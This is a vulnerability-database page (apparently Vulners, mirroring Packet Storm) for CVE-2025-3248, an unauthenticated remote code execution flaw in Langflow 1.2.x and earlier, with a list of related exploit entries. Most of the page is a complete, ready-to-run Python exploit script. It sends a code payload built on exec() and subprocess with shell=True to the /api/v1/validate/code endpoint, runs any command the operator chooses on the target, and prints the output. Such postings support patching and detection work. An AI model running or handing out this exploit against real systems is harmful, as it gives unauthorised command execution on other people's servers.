Lucene search
+L

๐Ÿ“„ Langflow 1.2.x Remote Code Execution

๐Ÿ—“๏ธย 16 Jul 2025ย 00:00:00Reported byย Raghad Abdallah Al-syoufTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 201ย Views

Langflow <=1.2.x exposes /api/v1/validate/code enabling unauthenticated remote code execution via exec().

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
13 May 202516:08
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Langflow
24 Oct 202513:08
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Langflow
20 Nov 202501:45
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
29 Sep 202514:21
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
19 Jun 202506:30
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Langflow
20 Nov 202501:45
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
16 Apr 202514:00
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
18 Jun 202503:42
โ€“githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
23 Jun 202509:36
โ€“githubexploit
githubexploit
GithubExploit
guardx
3 Aug 202615:24
โ€“githubexploit
Rows per page
#!/usr/bin/env python3
    # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
    # Date: 2025-07-11
    # Exploit Author: Raghad Abdallah Al-syouf
    # Vendor Homepage: https://github.com/logspace-ai/langflow
    # Software Link: https://github.com/logspace-ai/langflow/releases
    # Version: <= 1.2.x
    # Tested on: Ubuntu / Docker
    # CVE: CVE-2025-3248
    
    # Description:
    #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.
    
    # Usage:
    #python3 cve-2025-3248.py http://target:7860 "id"
    
    
    
    import requests
    import argparse
    import json
    from urllib.parse import urljoin
    from colorama import Fore, Style, init
    import random
    
    init(autoreset=True)
    requests.packages.urllib3.disable_warnings()
    
    BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX]
    
    def show_banner():
        print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)}
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘          Langflow <= 1.2.x - CVE-2025-3248         โ•‘
    โ•‘      Remote Code Execution via exposed API         โ•‘
    โ•‘     No authentication โ€” triggers exec() call       โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
           Author: Raghad Abdallah Al-syouf
    {Style.RESET_ALL}""")
    
    class LangflowRCE:
        def __init__(self, target_url, timeout=10):
            self.base_url = target_url.rstrip('/')
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers = {
                "User-Agent": "Langflow-RCE-Scanner",
                "Content-Type": "application/json"
            }
            self.timeout = timeout
    
        def run_payload(self, command):
            endpoint = urljoin(self.base_url, "/api/v1/validate/code")
            payload = {
                "code": (
                    f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
                )
            }
    
            print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}")
            try:
                response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
                print(f"{Fore.YELLOW}[+] HTTP {response.status_code}")
                if response.status_code == 200:
                    try:
                        json_data = response.json()
                        err = json_data.get("function", {}).get("errors", [""])[0]
                        if isinstance(err, str) and err.startswith("b'"):
                            output = err[2:-1].encode().decode("unicode_escape").strip()
                            return output or "[!] No output returned."
                    except Exception as e:
                        return f"[!] Error parsing response: {e}"
                return "[!] Target may not be vulnerable or is patched."
            except Exception as e:
                return f"[!] Request failed: {e}"
    
    def main():
        parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE")
        parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)")
        parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)")
        args = parser.parse_args()
    
        show_banner()
        exploit = LangflowRCE(args.url)
        result = exploit.run_payload(args.cmd)
    
        print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
EPSS0.99996
201